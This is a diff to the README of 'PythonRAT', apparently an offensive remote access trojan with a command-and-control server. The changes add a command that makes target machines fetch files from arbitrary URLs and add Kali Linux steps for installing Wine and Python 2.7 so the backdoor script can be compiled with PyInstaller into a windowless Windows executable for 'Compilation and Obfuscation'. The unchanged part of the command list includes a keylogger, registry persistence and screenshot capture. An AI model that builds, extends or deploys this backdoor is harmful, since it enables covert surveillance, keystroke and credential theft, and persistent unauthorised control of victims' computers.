@@ -40,19 +40,48 @@ PythonRAT is a Command and Control (C2) server which can control multiple machin
40
40
cd *Directory name* --> Changes Directory On Target System
41
41
upload *file name* --> Upload File To The Target Machine From Working Dir
42
42
download *file name* --> Download File From Target Machine
43
+ get *url* --> Download File From Specified URL
43
44
keylog_start --> Start The Keylogger
44
45
keylog_dump --> Print Keystrokes That The Target From taskmanager.txt
45
46
keylog_stop --> Stop And Self Destruct Keylogger File
46
47
persistence *RegName* *filename* --> Create Persistence In Registry
47
48
screenshot --> Takes screenshot and sends to server ./screenshots/
48
- remove_backdoor --> Removes backdoor from target
49
+ remove_backdoor --> Removes backdoor from target!!!
50
+
51
+ # Wine and Pyinstaller (Win version) Installation on Linux
52
+
53
+ Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/
54
+
55
+ ** Environment Setup**
56
+
57
+ ┌──(root💀kali)-[ ~ /]
58
+
59
+ └─#
60
+ sudo su
61
+
62
+ dpkg --add-architecture i386
63
+ apt update
64
+ apt install wine32
65
+ wget https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi
66
+ sudo wine msiexec -i ~ /python-2.7.14.msi #x86 arch
67
+
68
+
69
+ ** Installing Dependencies**
70
+
71
+ ┌──(root💀kali)-[ ~ /.wine/drive_c]
72
+
73
+ └─#
74
+
75
+ cd /root/.wine/drive_c/Python27
76
+ wine python.exe -m pip install pyinstaller
77
+ requests
78
+ pyautogui
49
79
50
80
51
81
# Backdoor Compilation and Obfuscation for Windows
52
82
53
83
** Compile to Executable using Pyinstaller**
54
84
55
- $ pip install pyinstaller
56
85
$ pyinstaller --onefile --noconsole backdoor.py
57
86
58
87
This will produce _ ./dist/backdoor.exe_
0 commit comments